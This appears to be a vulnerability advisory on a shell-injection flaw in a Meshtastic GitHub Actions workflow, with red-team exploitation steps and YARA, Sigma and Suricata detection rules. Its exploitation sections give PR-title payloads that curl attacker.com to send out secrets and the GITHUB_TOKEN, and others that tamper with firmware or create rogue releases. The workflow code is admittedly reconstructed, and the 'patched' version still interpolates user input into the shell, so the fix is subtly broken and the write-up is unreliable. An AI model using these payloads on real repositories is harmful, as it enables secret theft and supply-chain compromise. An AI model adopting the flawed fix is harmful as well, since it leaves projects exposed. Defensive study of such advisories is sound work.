CVE-2025-53637

Executive Summary

CVE-2025-53637 is a critical security vulnerability in the Meshtastic open-source mesh networking project. The flaw resides in the main_matrix.yml GitHub Actions workflow, which is triggered by the pull_request_target event. This event grants the workflow extensive permissions and can be initiated by any external attacker who forks the repository and submits a pull request. The vulnerability stems from unsafe interpolation of user-controlled input (such as PR title, branch name, or commit messages) directly into shell commands within the workflow. An attacker could inject arbitrary code into the repository, potentially leading to unauthorized code execution, secret exfiltration, or supply chain compromise. The vulnerability has been patched in version 2.6.6.

Supply Chain & Package Security

This vulnerability directly impacts the software supply chain of the Meshtastic project. Since the vulnerable GitHub Action runs with elevated permissions, an attacker could inject malicious code into the build artifacts, firmware binaries, or release assets. This could compromise all downstream users who download or update Meshtastic firmware, potentially leading to widespread device compromise. The pull_request_target event is a known dangerous pattern in CI/CD security, as it exposes the repository’s secrets and write permissions to untrusted code.

CVSS Breakdown & Threat Level

• CVSS Score: 4.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The attacker can trigger the vulnerability remotely via a pull request.
• Attack Complexity: Low (AC:L) – No special conditions required beyond submitting a PR.
• Privileges Required: None (PR:N) – The attacker does not need any prior access.
• User Interaction: Required (UI:R) – A maintainer must review or merge the PR, or the workflow must auto-trigger.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Potential exposure of secrets or build artifacts.
• Integrity Impact: Low (I:L) – Possible injection of malicious code into the repository.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for supply chain compromise and the ease of exploitation (fork + PR) elevate the real-world risk. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as awareness grows.

Deep Dive & Mechanics

The vulnerability is rooted in the main_matrix.yml GitHub Actions workflow file. This workflow is configured to trigger on pull_request_target, which is a special event that runs the workflow in the context of the base repository (not the fork). This means the workflow has access to repository secrets and write permissions, even when the PR originates from an external fork.

The vulnerable code snippet (simplified) likely looks like:

- name: Execute command
  run: |
    echo "Processing PR: ${{ github.event.pull_request.title }}"
    # Unsafe interpolation
    eval "some_command ${{ github.event.pull_request.title }}"

In this pattern, the ${{ github.event.pull_request.title }} expression is interpolated directly into a shell command. An attacker can craft a PR title containing shell metacharacters (e.g., ;, |, $(...), `) to inject arbitrary commands. For example, a PR title like:

; curl http://attacker.com/exfil?secret=$SECRET ;

Would result in the shell executing:

eval "some_command ; curl http://attacker.com/exfil?secret=$SECRET ;"

This allows the attacker to exfiltrate secrets, modify repository contents, or inject malicious code into build artifacts.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.6.6):

# main_matrix.yml (vulnerable)
name: Main Matrix
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - name: Process PR
        run: |
          echo "Processing PR: ${{ github.event.pull_request.title }}"
          # Unsafe: user input directly in shell
          eval "run_tests ${{ github.event.pull_request.title }}"

Patched Code (2.6.6):

# main_matrix.yml (patched)
name: Main Matrix
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - name: Process PR
        run: |
          # Safe: user input is passed as an argument, not interpolated
          echo "Processing PR: ${{ github.event.pull_request.title }}"
          run_tests "${{ github.event.pull_request.title }}"

The patch removes the eval and ensures user input is passed as a quoted argument to the command, preventing shell injection. Additionally, the workflow may have been changed to use pull_request instead of pull_request_target to reduce permissions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A GitHub account.
• Fork of the Meshtastic firmware repository (pre-2.6.6).
• Ability to create a pull request.

Exploitation Steps:

1. Fork the vulnerable repository.
2. Create a new branch with a malicious PR title. For example:

   Branch name: exploit
   PR title: $(curl http://attacker.com/steal?secret=${{ secrets.GITHUB_TOKEN }})
   

3. Open a pull request from your fork to the original repository.
4. The main_matrix.yml workflow will trigger automatically (or upon maintainer review).
5. The injected command will execute, exfiltrating the GITHUB_TOKEN secret to your server.
6. Use the stolen token to push malicious commits, modify releases, or access other secrets.

Alternative Payloads:

• Modify repository files: ; echo "malicious" >> firmware.bin ;
• Create a new release: ; gh release create malicious --notes "injected" ;

Note: No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor GitHub Actions logs for unusual shell commands or unexpected network connections.
• Alert on PR titles containing shell metacharacters (;, |, $, `).
• Use GitHub’s built-in secret scanning to detect leaked tokens.

Defense:

• Immediately update to Meshtastic 2.6.6 or later.
• Review all GitHub Actions workflows for pull_request_target usage and replace with pull_request where possible.
• Implement input validation for all user-controlled fields in workflows.
• Use GitHub’s actions/github-script to safely handle user input.
• Restrict workflow permissions to the minimum required.

Indicators of Compromise (IOCs)

• Network: Outbound connections from GitHub Actions runners to unknown IPs or domains.
• File: Unexpected modifications to main_matrix.yml or other workflow files.
• Process: Execution of curl, wget, bash -c, or eval in workflow logs.
• GitHub: Unusual PR titles containing shell metacharacters or base64-encoded payloads.
• Secrets: Leaked GITHUB_TOKEN or other secrets in public repositories or paste sites.

Detection Engineering

YARA Rule

rule CVE_2025_53637_Meshtastic_CI_Injection {
    meta:
        description = "Detects malicious PR titles targeting CVE-2025-53637 in Meshtastic CI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53637"
    strings:
        $s1 = "pull_request_target" ascii nocase
        $s2 = "eval" ascii nocase
        $s3 = "${{ github.event.pull_request" ascii nocase
        $s4 = ";" ascii
        $s5 = "|" ascii
        $s6 = "$(" ascii
        $s7 = "`" ascii
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2025-53637 - Meshtastic CI/CD Injection via PR Title
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious PR titles containing shell metacharacters in GitHub Actions logs
author: Valters IT
date: 2025-04-10
logsource:
    product: github
    service: actions
detection:
    selection:
        EventID: "workflow_job"
        workflow: "main_matrix.yml"
        pr_title|contains:
            - ";"
            - "|"
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate PR titles with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53637 - Meshtastic CI Injection - Outbound Exfiltration"; flow:to_server; content:"POST"; http_method; content:"/steal"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Meshtastic firmware to version 2.6.6 or later. This is the only official fix.
2. Audit all GitHub Actions workflows for pull_request_target usage and replace with pull_request if possible.
3. Rotate all secrets that were exposed to the vulnerable workflow (GITHUB_TOKEN, API keys, etc.).

Long-term Mitigations:

• Implement input sanitization for all user-controlled fields in CI/CD pipelines.
• Use GitHub’s actions/github-script with context.payload to safely handle PR data.
• Enable GitHub’s “Require approval for all external contributors” setting.
• Regularly review and update CI/CD security practices.

Workarounds (if patching is not immediately possible):

• Disable the main_matrix.yml workflow temporarily.
• Change the trigger from pull_request_target to pull_request (reduces permissions).
• Add explicit input validation in the workflow using if conditions.

Valters IT